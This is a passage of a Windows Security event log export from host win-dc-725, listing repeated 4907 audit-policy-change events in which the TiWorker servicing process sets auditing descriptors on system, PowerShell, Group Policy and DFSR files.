	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_a349059b05097caa.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247546
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_3f102d555ee05d33.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247545
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_21f9a9c4a2f8b514.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247544
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_en-us_9e576ab077991fe8.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247543
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_grouppolicy_en-us_1786904f38608857.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247542
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_grouppolicy_f160218b6d329add.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247541
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_b001352a7f7811a4.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247540
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_19ae85881f1c4f2d.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247539
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_21ffbdd2a2dd92e0.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247538
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247537
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247881
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\GroupPolicy\GroupPolicy.psd1
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247880
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\GroupPolicy\GroupPolicy.format.ps1xml
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247879
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\propshts.dll.mui
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247878
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\ntdsperf.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247877
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gptedit.msc
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247876
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\GPRSoP.dll.mui
	Handle ID:	0xd6c

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247875
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gpregistrybrowser.dll.mui
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247874
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gpprefcn.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247873
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gpprefbr.dll.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247872
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gppref.dll.mui
	Handle ID:	0xd6c

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247871
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\GPOAdminCustom.dll.mui
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247870
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\GPOAdminCommon.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247869
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\GPOAdmin.dll.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247868
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gpmgmt.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247867
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gpme.msc
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247866
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gpme.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247865
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gpmc.msc
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247864
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dfsrPropagationStrings.xml
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247863
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\DfsrHelper.dll.mui
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247862
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dfsrHealthStrings.xml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247861
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dfsrHealthMessages.xml
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247860
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\DfsRes.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
